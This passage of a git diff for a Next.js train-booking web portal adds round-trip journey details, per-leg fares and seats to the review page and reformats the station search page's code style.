deviceId: typeof window !== 'undefined' ? (localStorage.getItem('deviceId') || `device-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`) : undefined,
};
+
+ // Add round trip specific fields
+ if (isRoundTrip && inboundSchedule) {
+ bookingData.returnScheduleId = inboundSchedule.id;
+ bookingData.returnOriginStationId = searchCriteria.destinationStationId;
+ bookingData.returnDestinationStationId = searchCriteria.originStationId;
+ bookingData.returnHoldId = seatHold?.holdId || ''; // Assuming same hold ID, adjust if needed
+ bookingData.returnSeatClassId = returnSeatClassId;
+ }
+
+ // Add promo code if exists
+ if (searchCriteria.promoCode) {
+ bookingData.promoCode = searchCriteria.promoCode;
+ }
}
if (typeof window !== 'undefined' && !isAuthenticated && bookingData.deviceId && !localStorage.getItem('deviceId')) {
localStorage.setItem('deviceId', bookingData.deviceId);
}
- console.log('Creating booking with payload:', bookingData);
+ console.log('Creating booking with payload:', JSON.stringify(bookingData, null, 2));
+ console.log('API endpoint:', isAuthenticated ? '/bookings' : '/bookings/guest');
await createBookingMutation.mutateAsync(bookingData);
} catch (error) {
console.error('Error in handleConfirm:', error);
@@ -294,26 +380,49 @@ export default function ReviewPage() {
};
useEffect(() => {
- if (!selectedSchedule || !passengers.length) {
- if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) {
- console.log('Redirecting to search - missing data');
- router.push('/booking/search');
+ if (isRoundTrip) {
+ if (!outboundSchedule || !inboundSchedule || !passengers.length) {
+ if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) {
+ console.log('Redirecting to search - missing round trip data');
+ router.push('/booking/search');
+ }
+ }
+ } else {
+ if (!selectedSchedule || !passengers.length) {
+ if (!createBookingMutation.isPending && !createBookingMutation.isSuccess) {
+ console.log('Redirecting to search - missing data');
+ router.push('/booking/search');
+ }
}
}
- }, [selectedSchedule, passengers.length, createBookingMutation.isPending, createBookingMutation.isSuccess, router]);
+ }, [isRoundTrip, selectedSchedule, outboundSchedule, inboundSchedule, passengers.length, createBookingMutation.isPending, createBookingMutation.isSuccess, router]);
- if (!selectedSchedule || !passengers.length) {
+ if (isRoundTrip && (!outboundSchedule || !inboundSchedule || !passengers.length)) {
return null;
}
- console.log('Selected schedule:', selectedSchedule);
- console.log('Base fare adult:', selectedSchedule.baseFareAdult);
+ if (!isRoundTrip && (!selectedSchedule || !passengers.length)) {
+ return null;
+ }
+
+ const displaySchedule = isRoundTrip ? outboundSchedule : selectedSchedule;
+
+ console.log('Selected schedule:', displaySchedule);
+ console.log('Base fare adult:', displaySchedule?.baseFareAdult);
console.log('Passengers:', passengers);
- const baseFare = passengers.reduce((sum, p, i) => {
- const farePerPassenger = selectedSchedule.baseFareAdult ||
- (selectedSchedule as any).fareAdult ||
- (selectedSchedule as any).price ||
+ const outboundBaseFare = isRoundTrip && outboundSchedule ? passengers.reduce((sum) => {
+ return sum + (outboundSchedule.baseFareAdult || 0);
+ }, 0) : 0;
+
+ const inboundBaseFare = isRoundTrip && inboundSchedule ? passengers.reduce((sum) => {
+ return sum + (inboundSchedule.baseFareAdult || 0);
+ }, 0) : 0;
+
+ const baseFare = isRoundTrip ? (outboundBaseFare + inboundBaseFare) : passengers.reduce((sum, p, i) => {
+ const farePerPassenger = selectedSchedule?.baseFareAdult ||
+ (selectedSchedule as any)?.fareAdult ||
+ (selectedSchedule as any)?.price ||
0;
console.log(`Passenger ${i}: ${p.name}, fare = ${farePerPassenger}`);
@@ -340,51 +449,259 @@ export default function ReviewPage() {
)}
-
-
Trip details
-
-
- Train
- {selectedSchedule.trainNumber}
-
-
- Route
- {selectedSchedule.origin} → {selectedSchedule.destination}
-
-
-
Departure
-
- {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'PPp') : 'N/A'}
+ {/* Outbound Trip Details */}
+ {isRoundTrip && outboundSchedule && (
+
+
+
+
Outbound Journey
+
+ {outboundSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'}
-
- Arrival
-
- {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'PPp') : 'N/A'}
-
-
-
-
Duration
-
{selectedSchedule.duration}
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {outboundSchedule.departureTime ? format(new Date(outboundSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {outboundSchedule.departureTime ? format(new Date(outboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {outboundSchedule.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{outboundSchedule.duration}
+
+
+
+
+
+
Train {outboundSchedule.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {outboundSchedule.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {outboundSchedule.arrivalTime ? format(new Date(outboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {outboundSchedule.destination}
+
+
+
-
+ )}
+
+ {/* Inbound Trip Details */}
+ {isRoundTrip && inboundSchedule && (
+
+
+
+
Return Journey
+
+ {inboundSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'}
+
+
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {inboundSchedule.departureTime ? format(new Date(inboundSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {inboundSchedule.departureTime ? format(new Date(inboundSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {inboundSchedule.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{inboundSchedule.duration}
+
+
+
+
+
+
Train {inboundSchedule.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {inboundSchedule.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {inboundSchedule.arrivalTime ? format(new Date(inboundSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {inboundSchedule.destination}
+
+
+
+
+
+ )}
+
+ {/* One-Way Trip Details */}
+ {!isRoundTrip && selectedSchedule && (
+
+
+
+
Trip Details
+
+ {selectedSchedule.selectedSeatClass?.replace(/_/g, ' ') || 'Standard'}
+
+
+
+ {/* Flight-style timeline */}
+
+ {/* Left column: Timeline with dots and line */}
+
+ {/* Origin dot */}
+
+ {/* Vertical line */}
+
+ {/* Destination dot */}
+
+
+
+ {/* Right column: Content */}
+
+ {/* Origin */}
+
+
+ {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'HH:mm') : '--:--'}
+
+
+ {selectedSchedule.departureTime ? format(new Date(selectedSchedule.departureTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {selectedSchedule.origin}
+
+
+
+ {/* Journey Info */}
+
+
+
+
+
+
+
{selectedSchedule.duration}
+
+
+
+
+
+
Train {selectedSchedule.trainNumber}
+
+
+
+
+ {/* Destination */}
+
+
+ {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'HH:mm') : '--:--'}
+
+
+ {selectedSchedule.arrivalTime ? format(new Date(selectedSchedule.arrivalTime), 'EEE, MMM d') : 'N/A'}
+
+
+ {selectedSchedule.destination}
+
+
+
+
+
+ )}
Passengers
{passengers.map((p, i) => (
-
-
-
{p.name}
-
- {p.dateOfBirth ? format(new Date(p.dateOfBirth), 'PP') : 'N/A'} • {p.nationality}
-
-
-
-
Seat
-
{p.seatId ? (seatDetails[p.seatId] || 'Loading...') : 'Auto-assign'}
+
+
+
+
{p.name}
+
+ {p.dateOfBirth ? format(new Date(p.dateOfBirth), 'PP') : 'N/A'} • {p.nationality}
+
+
+ {isRoundTrip ? (
+
+
+
Outbound Seat
+
+ {(p as any).outboundSeatId ? (seatDetails[`outbound-${(p as any).outboundSeatId}`] || 'Loading...') : 'Auto-assign'}
+
+
+
+
Return Seat
+
+ {(p as any).inboundSeatId ? (seatDetails[`inbound-${(p as any).inboundSeatId}`] || 'Loading...') : 'Auto-assign'}
+
+
+
+ ) : (
+
+
Seat
+
{p.seatId ? (seatDetails[p.seatId] || 'Loading...') : 'Auto-assign'}
+
+ )}
))}
@@ -393,10 +710,23 @@ export default function ReviewPage() {
Fare breakdown
-
- Base fare
- ETB {(baseFare / 100).toFixed(2)}
-
+ {isRoundTrip ? (
+ <>
+
+ Outbound fare
+ ETB {(outboundBaseFare / 100).toFixed(2)}
+
+
+ Return fare
+ ETB {(inboundBaseFare / 100).toFixed(2)}
+
+ >
+ ) : (
+
+ Base fare
+ ETB {(baseFare / 100).toFixed(2)}
+
+ )}
Total
ETB {(total / 100).toFixed(2)}
diff --git a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx
index 8295d3a09..a587bc87c 100644
--- a/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx
+++ b/apps/edr-passenger-web/portal/src/app/booking/search/page.tsx
@@ -1,58 +1,78 @@
-'use client';
+"use client";
-import { useForm } from 'react-hook-form';
-import { zodResolver } from '@hookform/resolvers/zod';
-import { z } from 'zod';
-import { useRouter, useSearchParams } from 'next/navigation';
-import { useQuery } from '@tanstack/react-query';
-import { useAuthStore } from '@/lib/auth-store';
-import { apiClient } from '@/lib/api-client';
-import { useBookingStore } from '@/lib/booking-store';
-import { Station } from '@/types';
+import { useForm } from "react-hook-form";
+import { zodResolver } from "@hookform/resolvers/zod";
+import { z } from "zod";
+import { useRouter, useSearchParams } from "next/navigation";
+import { useQuery } from "@tanstack/react-query";
+import { useAuthStore } from "@/lib/auth-store";
+import { apiClient } from "@/lib/api-client";
+import { useBookingStore } from "@/lib/booking-store";
+import { Station } from "@/types";
import {
- MapPin, ArrowRight, ArrowLeftRight, Plus, Minus, Search,
- Users, ChevronDown, Gift, Check, X, ChevronLeft, Clock, Zap,
-} from 'lucide-react';
-import { useEffect, useRef, useState, useCallback } from 'react';
-import ModernDatePicker from '@/components/ModernDatePicker';
+ MapPin,
+ ArrowRight,
+ ArrowLeftRight,
+ Plus,
+ Minus,
+ Search,
+ Users,
+ ChevronDown,
+ Gift,
+ Check,
+ X,
+ ChevronLeft,
+ Clock,
+ Zap,
+} from "lucide-react";
+import { useEffect, useRef, useState, useCallback } from "react";
+import ModernDatePicker from "@/components/ModernDatePicker";
-const searchSchema = z.object({
- tripType: z.enum(['ONE_WAY', 'ROUND_TRIP']),
- originStationId: z.string().min(1, 'Please select origin station'),
- destinationStationId: z.string().min(1, 'Please select destination station'),
- departureDate: z.string().min(1, 'Please select departure date'),
- returnDate: z.string().optional(),
- adultCount: z.number().min(1).max(9),
- childCount: z.number().min(0).max(9),
- nationality: z.enum(['ETHIOPIAN', 'DJIBOUTIAN', 'OTHER']),
- promoCode: z.string().optional(),
-}).refine((d) => d.originStationId !== d.destinationStationId, {
- message: 'Origin and destination must be different',
- path: ['destinationStationId'],
-}).refine((d) => {
- if (d.tripType === 'ROUND_TRIP' && !d.returnDate) {
- return false;
- }
- return true;
-}, {
- message: 'Please select return date',
- path: ['returnDate'],
-}).refine((d) => {
- if (d.tripType === 'ROUND_TRIP' && d.returnDate && d.departureDate) {
- return d.returnDate >= d.departureDate;
- }
- return true;
-}, {
- message: 'Return date must be after departure date',
- path: ['returnDate'],
-});
+const searchSchema = z
+ .object({
+ tripType: z.enum(["ONE_WAY", "ROUND_TRIP"]),
+ originStationId: z.string().min(1, "Please select your departure station"),
+ destinationStationId: z
+ .string()
+ .min(1, "Please select your destination station"),
+ departureDate: z.string().min(1, "Please select your departure date"),
+ returnDate: z.string().optional(),
+ adultCount: z.number().min(1).max(9),
+ childCount: z.number().min(0).max(9),
+ nationality: z.enum(["ETHIOPIAN", "DJIBOUTIAN", "OTHER"]),
+ promoCode: z.string().optional(),
+ })
+ .refine(
+ (d) => {
+ if (d.tripType === "ROUND_TRIP" && !d.returnDate) {
+ return false;
+ }
+ return true;
+ },
+ {
+ message: "Please select return date",
+ path: ["returnDate"],
+ },
+ )
+ .refine(
+ (d) => {
+ if (d.tripType === "ROUND_TRIP" && d.returnDate && d.departureDate) {
+ return d.returnDate >= d.departureDate;
+ }
+ return true;
+ },
+ {
+ message: "Return date must be after departure date",
+ path: ["returnDate"],
+ },
+ );
type SearchForm = z.infer;
const POPULAR_ROUTES = [
- { from: 'Sebeta', to: 'Nagad', duration: '12h', icon: '🌆' },
- { from: 'Sebeta', to: 'Diredawa', duration: '8h', icon: '🏔️' },
- { from: 'Diredawa', to: 'Nagad', duration: '4h', icon: '🌊' },
+ { from: "Sebeta", to: "Nagad", duration: "12h", icon: "🌆" },
+ { from: "Sebeta", to: "Diredawa", duration: "8h", icon: "🏔️" },
+ { from: "Diredawa", to: "Nagad", duration: "4h", icon: "🌊" },
];
// ─── Station Modal ────────────────────────────────────────────────────────────
@@ -71,7 +91,7 @@ function StationModal({
onClose: () => void;
recentIds: string[];
}) {
- const [query, setQuery] = useState('');
+ const [query, setQuery] = useState("");
const inputRef = useRef(null);
useEffect(() => {
@@ -83,7 +103,7 @@ function StationModal({
(s) =>
s.id !== excludeId &&
(s.name.toLowerCase().includes(query.toLowerCase()) ||
- s.code?.toLowerCase().includes(query.toLowerCase()))
+ s.code?.toLowerCase().includes(query.toLowerCase())),
)
: stations.filter((s) => s.id !== excludeId);
@@ -102,7 +122,9 @@ function StationModal({
>
- {title}
+
+ {title}
+
{/* Search input */}
@@ -119,7 +141,7 @@ function StationModal({
{query && (
setQuery('')}
+ onClick={() => setQuery("")}
className="absolute right-3 top-1/2 -translate-y-1/2"
>
@@ -132,7 +154,9 @@ function StationModal({
{!query && recentStations.length > 0 && (
-
Recent
+
+ Recent
+
{recentStations.map((s) => (
-
{s.name}
+
+ {s.name}
+
{s.code &&
{s.code}
}
@@ -153,7 +179,7 @@ function StationModal({
)}
- {query ? 'Results' : 'All Stations'}
+ {query ? "Results" : "All Stations"}
{filtered.length === 0 ? (
@@ -172,8 +198,14 @@ function StationModal({
-
{s.name}
- {s.code &&
{s.code} • {s.country}
}
+
+ {s.name}
+
+ {s.code && (
+
+ {s.code} • {s.country}
+
+ )}
))
@@ -202,14 +234,28 @@ function PassengerModal({
onClose: () => void;
}) {
const rows = [
- { label: 'Adults', sub: '≥ 5 years', val: adultCount, min: 1, max: 9, onChange: onChangeAdult },
- { label: 'Children', sub: '< 5 years • First child free', val: childCount, min: 0, max: 9, onChange: onChangeChild },
+ {
+ label: "Adults",
+ sub: "≥ 5 years",
+ val: adultCount,
+ min: 1,
+ max: 9,
+ onChange: onChangeAdult,
+ },
+ {
+ label: "Children",
+ sub: "< 5 years • First child free",
+ val: childCount,
+ min: 0,
+ max: 9,
+ onChange: onChangeChild,
+ },
];
const natOptions = [
- { value: 'ETHIOPIAN', label: '🇪🇹 Ethiopian' },
- { value: 'DJIBOUTIAN', label: '🇩🇯 Djiboutian' },
- { value: 'OTHER', label: '🌍 Other' },
+ { value: "ETHIOPIAN", label: "🇪🇹 Ethiopian" },
+ { value: "DJIBOUTIAN", label: "🇩🇯 Djiboutian" },
+ { value: "OTHER", label: "🌍 Other" },
];
return (
@@ -217,7 +263,7 @@ function PassengerModal({
@@ -225,29 +271,49 @@ function PassengerModal({
-
Passengers & Nationality
+
+ Passengers & Nationality
+
-
+
{rows.map(({ label, sub, val, min, max, onChange }, i) => (
- {i > 0 &&
}
+ {i > 0 && (
+
+ )}
-
{label}
+
+ {label}
+
{sub}
-
val > min && onChange(val - 1)} disabled={val <= min}
- className="w-10 h-10 rounded-full border-2 border-gray-200 dark:border-gray-700 flex items-center justify-center hover:border-primary hover:text-primary disabled:opacity-30">
+ val > min && onChange(val - 1)}
+ disabled={val <= min}
+ className="w-10 h-10 rounded-full border-2 border-gray-200 dark:border-gray-700 flex items-center justify-center hover:border-primary hover:text-primary disabled:opacity-30"
+ >
- {val}
- val < max && onChange(val + 1)} disabled={val >= max}
- className="w-10 h-10 rounded-full border-2 border-gray-200 dark:border-gray-700 flex items-center justify-center hover:border-primary hover:text-primary disabled:opacity-30">
+
+ {val}
+
+ val < max && onChange(val + 1)}
+ disabled={val >= max}
+ className="w-10 h-10 rounded-full border-2 border-gray-200 dark:border-gray-700 flex items-center justify-center hover:border-primary hover:text-primary disabled:opacity-30"
+ >
@@ -255,15 +321,21 @@ function PassengerModal({
))}
-
Nationality
+
+ Nationality
+
{natOptions.map((opt) => (
- onChangeNationality(opt.value)}
+ onChangeNationality(opt.value)}
className={`py-2.5 px-2 rounded-xl border-2 text-xs font-semibold transition-all ${
nationality === opt.value
- ? 'border-primary bg-primary/5 text-primary'
- : 'border-gray-200 dark:border-gray-700 text-gray-600 dark:text-gray-400 hover:border-gray-300'
- }`}>
+ ? "border-primary bg-primary/5 text-primary"
+ : "border-gray-200 dark:border-gray-700 text-gray-600 dark:text-gray-400 hover:border-gray-300"
+ }`}
+ >
{opt.label}
))}
@@ -271,9 +343,13 @@ function PassengerModal({
-
- Done — {adultCount + childCount} Passenger{adultCount + childCount !== 1 ? 's' : ''}
+
+ Done — {adultCount + childCount} Passenger
+ {adultCount + childCount !== 1 ? "s" : ""}
@@ -302,22 +378,23 @@ function StationDropdown({
recentIds: string[];
onOpen?: () => void;
}) {
- const [query, setQuery] = useState('');
+ const [query, setQuery] = useState("");
const [open, setOpen] = useState(false);
const ref = useRef
(null);
const inputRef = useRef(null);
const selectedStation = stations.find((s) => s.id === value);
useEffect(() => {
- if (selectedStation && !open) setQuery('');
+ if (selectedStation && !open) setQuery("");
}, [selectedStation, open]);
useEffect(() => {
const handler = (e: MouseEvent) => {
- if (ref.current && !ref.current.contains(e.target as Node)) setOpen(false);
+ if (ref.current && !ref.current.contains(e.target as Node))
+ setOpen(false);
};
- document.addEventListener('mousedown', handler);
- return () => document.removeEventListener('mousedown', handler);
+ document.addEventListener("mousedown", handler);
+ return () => document.removeEventListener("mousedown", handler);
}, []);
const filtered = query.trim()
@@ -325,32 +402,46 @@ function StationDropdown({
(s) =>
s.id !== excludeId &&
(s.name.toLowerCase().includes(query.toLowerCase()) ||
- s.code?.toLowerCase().includes(query.toLowerCase()))
+ s.code?.toLowerCase().includes(query.toLowerCase())),
)
: stations.filter((s) => s.id !== excludeId).slice(0, 8);
- const displayValue = open ? query : (selectedStation?.name ?? '');
+ const displayValue = open ? query : (selectedStation?.name ?? "");
return (
{ setQuery(e.target.value); setOpen(true); }}
- onFocus={() => { setQuery(''); setOpen(true); onOpen?.(); }}
+ onChange={(e) => {
+ setQuery(e.target.value);
+ setOpen(true);
+ }}
+ onFocus={() => {
+ setQuery("");
+ setOpen(true);
+ onOpen?.();
+ }}
placeholder={placeholder}
className="w-full pl-10 pr-8 py-3.5 bg-transparent rounded-xl focus:outline-none text-sm text-gray-900 dark:text-white placeholder-gray-400"
/>
{value && (
{ onSelect({ id: '', name: '', code: '', country: '' }); setQuery(''); }}
+ onClick={() => {
+ onSelect({ id: "", name: "", code: "", country: "" });
+ setQuery("");
+ }}
className="absolute right-3 p-0.5"
>
@@ -362,7 +453,9 @@ function StationDropdown({
{!query && recentIds.length > 0 && (
-
Recent
+
+ Recent
+
{recentIds
.map((id) => stations.find((s) => s.id === id))
.filter(Boolean)
@@ -370,30 +463,48 @@ function StationDropdown({
{ onSelect(s!); setOpen(false); setQuery(''); }}
+ onMouseDown={() => {
+ onSelect(s!);
+ setOpen(false);
+ setQuery("");
+ }}
className="w-full flex items-center gap-2 px-2 py-2 rounded-lg hover:bg-gray-50 dark:hover:bg-gray-700 text-left"
>
- {s!.name}
+
+ {s!.name}
+
))}
)}
{filtered.length === 0 ? (
-
No stations found
+
+ No stations found
+
) : (
filtered.map((s) => (
{ onSelect(s); setOpen(false); setQuery(''); }}
+ onMouseDown={() => {
+ onSelect(s);
+ setOpen(false);
+ setQuery("");
+ }}
className="w-full flex items-center gap-2 px-3 py-2.5 hover:bg-gray-50 dark:hover:bg-gray-700 text-left transition-colors"
>
- {s.name}
- {s.code && {s.code} }
+
+ {s.name}
+
+ {s.code && (
+
+ {s.code}
+
+ )}
))
@@ -413,13 +524,23 @@ export default function SearchPage() {
const [passengerModalOpen, setPassengerModalOpen] = useState(false);
const [promoVisible, setPromoVisible] = useState(false);
- const [promoCode, setPromoCode] = useState('');
- const [promoValidation, setPromoValidation] = useState<{ valid: boolean; message: string } | null>(null);
+ const [promoCode, setPromoCode] = useState("");
+ const [promoValidation, setPromoValidation] = useState<{
+ valid: boolean;
+ message: string;
+ } | null>(null);
const [promoLoading, setPromoLoading] = useState(false);
const [swapping, setSwapping] = useState(false);
- const [stationModal, setStationModal] = useState<'origin' | 'destination' | null>(null);
+ const [stationModal, setStationModal] = useState<
+ "origin" | "destination" | null
+ >(null);
+ const [hasInteracted, setHasInteracted] = useState(false);
const [recentStationIds, setRecentStationIds] = useState
(() => {
- try { return JSON.parse(localStorage.getItem('edr_recent_stations') || '[]'); } catch { return []; }
+ try {
+ return JSON.parse(localStorage.getItem("edr_recent_stations") || "[]");
+ } catch {
+ return [];
+ }
});
const passengerRef = useRef(null);
const widgetRef = useRef(null);
@@ -429,72 +550,100 @@ export default function SearchPage() {
if (!el) return;
const headerHeight = 64;
const marginTop = 24;
- const top = el.getBoundingClientRect().top + window.scrollY - headerHeight - marginTop;
- window.scrollTo({ top, behavior: 'smooth' });
+ const top =
+ el.getBoundingClientRect().top +
+ window.scrollY -
+ headerHeight -
+ marginTop;
+ window.scrollTo({ top, behavior: "smooth" });
};
- const { data: stations = [], isLoading, error } = useQuery({
- queryKey: ['stations'],
- queryFn: async () => await apiClient.get('/stations') as Station[],
+ const {
+ data: stations = [],
+ isLoading,
+ error,
+ } = useQuery({
+ queryKey: ["stations"],
+ queryFn: async () => (await apiClient.get("/stations")) as Station[],
});
- const { handleSubmit, watch, setValue, formState: { errors } } = useForm({
+ const {
+ handleSubmit,
+ watch,
+ setValue,
+ trigger,
+ clearErrors,
+ formState: { errors },
+ } = useForm({
resolver: zodResolver(searchSchema as any),
+ mode: "onSubmit",
+ reValidateMode: "onSubmit",
defaultValues: {
- tripType: 'ONE_WAY',
+ tripType: "ONE_WAY",
adultCount: 1,
childCount: 0,
- nationality: 'ETHIOPIAN',
- departureDate: new Date().toISOString().split('T')[0],
- promoCode: '',
+ nationality: "ETHIOPIAN",
+ departureDate: new Date().toISOString().split("T")[0],
+ promoCode: "",
},
});
useEffect(() => {
if (isAuthenticated && user?.nationality) {
const n = user.nationality.toUpperCase().trim();
- setValue('nationality', n.includes('DJIBOUTIAN') ? 'DJIBOUTIAN' : n.includes('ETHIOPIAN') ? 'ETHIOPIAN' : 'OTHER');
+ setValue(
+ "nationality",
+ n.includes("DJIBOUTIAN")
+ ? "DJIBOUTIAN"
+ : n.includes("ETHIOPIAN")
+ ? "ETHIOPIAN"
+ : "OTHER",
+ );
}
}, [isAuthenticated, user?.nationality, setValue]);
useEffect(() => {
- const o = searchParams.get('origin');
- const d = searchParams.get('destination');
- const date = searchParams.get('date');
- const adults = searchParams.get('adults');
- const children = searchParams.get('children');
- const nat = searchParams.get('nationality');
- if (o) setValue('originStationId', o);
- if (d) setValue('destinationStationId', d);
- if (date) setValue('departureDate', date);
- if (adults) setValue('adultCount', parseInt(adults));
- if (children) setValue('childCount', parseInt(children));
- if (nat) setValue('nationality', nat as 'ETHIOPIAN' | 'DJIBOUTIAN' | 'OTHER');
+ const o = searchParams.get("origin");
+ const d = searchParams.get("destination");
+ const date = searchParams.get("date");
+ const adults = searchParams.get("adults");
+ const children = searchParams.get("children");
+ const nat = searchParams.get("nationality");
+ if (o) setValue("originStationId", o);
+ if (d) setValue("destinationStationId", d);
+ if (date) setValue("departureDate", date);
+ if (adults) setValue("adultCount", parseInt(adults));
+ if (children) setValue("childCount", parseInt(children));
+ if (nat)
+ setValue("nationality", nat as "ETHIOPIAN" | "DJIBOUTIAN" | "OTHER");
}, [searchParams, setValue]);
useEffect(() => {
const handler = (e: MouseEvent) => {
- if (passengerRef.current && !passengerRef.current.contains(e.target as Node)) {
+ if (
+ passengerRef.current &&
+ !passengerRef.current.contains(e.target as Node)
+ ) {
setPassengerModalOpen(false);
}
};
- document.addEventListener('mousedown', handler);
- return () => document.removeEventListener('mousedown', handler);
+ document.addEventListener("mousedown", handler);
+ return () => document.removeEventListener("mousedown", handler);
}, []);
- const originId = watch('originStationId');
- const destId = watch('destinationStationId');
- const adultCount = watch('adultCount');
- const childCount = watch('childCount');
- const departureDate = watch('departureDate');
- const returnDate = watch('returnDate');
- const tripType = watch('tripType');
+ const originId = watch("originStationId");
+ const destId = watch("destinationStationId");
+ const adultCount = watch("adultCount");
+ const childCount = watch("childCount");
+ const departureDate = watch("departureDate");
+ const returnDate = watch("returnDate");
+ const tripType = watch("tripType");
const totalPassengers = (adultCount || 1) + (childCount || 0);
const saveRecent = useCallback((id: string) => {
setRecentStationIds((prev) => {
const next = [id, ...prev.filter((x) => x !== id)].slice(0, 5);
- localStorage.setItem('edr_recent_stations', JSON.stringify(next));
+ localStorage.setItem("edr_recent_stations", JSON.stringify(next));
return next;
});
}, []);
@@ -503,8 +652,8 @@ export default function SearchPage() {
if (!originId || !destId) return;
setSwapping(true);
setTimeout(() => {
- setValue('originStationId', destId);
- setValue('destinationStationId', originId);
+ setValue("originStationId", destId);
+ setValue("destinationStationId", originId);
setSwapping(false);
}, 300);
};
@@ -513,20 +662,31 @@ export default function SearchPage() {
if (!promoCode.trim()) return setPromoValidation(null);
setPromoLoading(true);
try {
- const res = await apiClient.post('/promos/validate', { code: promoCode }) as any;
+ const res = (await apiClient.post("/promos/validate", {
+ code: promoCode,
+ })) as any;
const valid = res.applicable || res.valid;
- setPromoValidation({ valid, message: res.message || (valid ? 'Promo applied!' : 'Invalid promo code') });
- if (valid) setValue('promoCode', promoCode);
- else setPromoCode('');
+ setPromoValidation({
+ valid,
+ message:
+ res.message || (valid ? "Promo applied!" : "Invalid promo code"),
+ });
+ if (valid) setValue("promoCode", promoCode);
+ else setPromoCode("");
} catch (err: any) {
- setPromoValidation({ valid: false, message: err?.response?.data?.message || 'Promo code is invalid or expired' });
- setPromoCode('');
+ setPromoValidation({
+ valid: false,
+ message:
+ err?.response?.data?.message || "Promo code is invalid or expired",
+ });
+ setPromoCode("");
} finally {
setPromoLoading(false);
}
};
const onSubmit = (data: SearchForm) => {
+ setHasInteracted(true);
setSearchCriteria(data);
if (data.originStationId) saveRecent(data.originStationId);
if (data.destinationStationId) saveRecent(data.destinationStationId);
@@ -538,7 +698,8 @@ export default function SearchPage() {
adults: data.adultCount.toString(),
children: data.childCount.toString(),
nationality: data.nationality,
- ...(data.tripType === 'ROUND_TRIP' && data.returnDate && { returnDate: data.returnDate }),
+ ...(data.tripType === "ROUND_TRIP" &&
+ data.returnDate && { returnDate: data.returnDate }),
...(data.promoCode && { promoCode: data.promoCode }),
});
router.push(`/booking/results?${params}`);
@@ -549,12 +710,16 @@ export default function SearchPage() {
const destStation = getStationById(destId);
const handlePopularRoute = (fromName: string, toName: string) => {
- const origin = stations.find((s) => s.name.toLowerCase().includes(fromName.toLowerCase()));
- const dest = stations.find((s) => s.name.toLowerCase().includes(toName.toLowerCase()));
+ const origin = stations.find((s) =>
+ s.name.toLowerCase().includes(fromName.toLowerCase()),
+ );
+ const dest = stations.find((s) =>
+ s.name.toLowerCase().includes(toName.toLowerCase()),
+ );
if (origin && dest) {
- setValue('originStationId', origin.id);
- setValue('destinationStationId', dest.id);
- window.scrollTo({ top: 0, behavior: 'smooth' });
+ setValue("originStationId", origin.id);
+ setValue("destinationStationId", dest.id);
+ window.scrollTo({ top: 0, behavior: "smooth" });
}
};
@@ -565,36 +730,45 @@ export default function SearchPage() {
setValue('adultCount', n)}
- onChangeChild={(n) => setValue('childCount', n)}
- onChangeNationality={(v) => setValue('nationality', v as any)}
+ nationality={watch("nationality")}
+ onChangeAdult={(n) => setValue("adultCount", n)}
+ onChangeChild={(n) => setValue("childCount", n)}
+ onChangeNationality={(v) => setValue("nationality", v as any)}
onClose={() => setPassengerModalOpen(false)}
/>
)}
{/* Station modals (mobile) */}
- {stationModal === 'origin' && (
+ {stationModal === "origin" && (
{
- if (s.id) { setValue('originStationId', s.id); saveRecent(s.id); }
+ if (s.id) {
+ setValue("originStationId", s.id);
+ saveRecent(s.id);
+ clearErrors("originStationId");
+ clearErrors("destinationStationId");
+ }
setStationModal(null);
}}
onClose={() => setStationModal(null)}
/>
)}
- {stationModal === 'destination' && (
+ {stationModal === "destination" && (
{
- if (s.id) { setValue('destinationStationId', s.id); saveRecent(s.id); }
+ if (s.id) {
+ setValue("destinationStationId", s.id);
+ saveRecent(s.id);
+ clearErrors("destinationStationId");
+ }
setStationModal(null);
}}
onClose={() => setStationModal(null)}
@@ -604,61 +778,76 @@ export default function SearchPage() {
{/* ── 90vh hero with banner image ── */}
- {/* Background image */}
-
+ {/* Background image with zoom - fully isolated */}
+
{/* Gradient overlay */}
{/* Hero headline — top area */}
-
- Where are you headed today?
+
+ Where are you
+ headed today?
- Book your train journey across East Africa
+
+ Book your train journey across East Africa
+
{/* ── Widget — absolutely positioned at bottom with margin ── */}
-
+
-
{error && (
⚠️
- Unable to load stations. Please check your connection.
+
+ Unable to load stations. Please check your connection.
+
)}
-
{/* Trip Type Tabs */}
setValue('tripType', 'ONE_WAY')}
+ onClick={() => setValue("tripType", "ONE_WAY")}
className={`flex-1 md:flex-none px-6 py-2.5 rounded-lg text-sm font-semibold transition-all ${
- tripType === 'ONE_WAY'
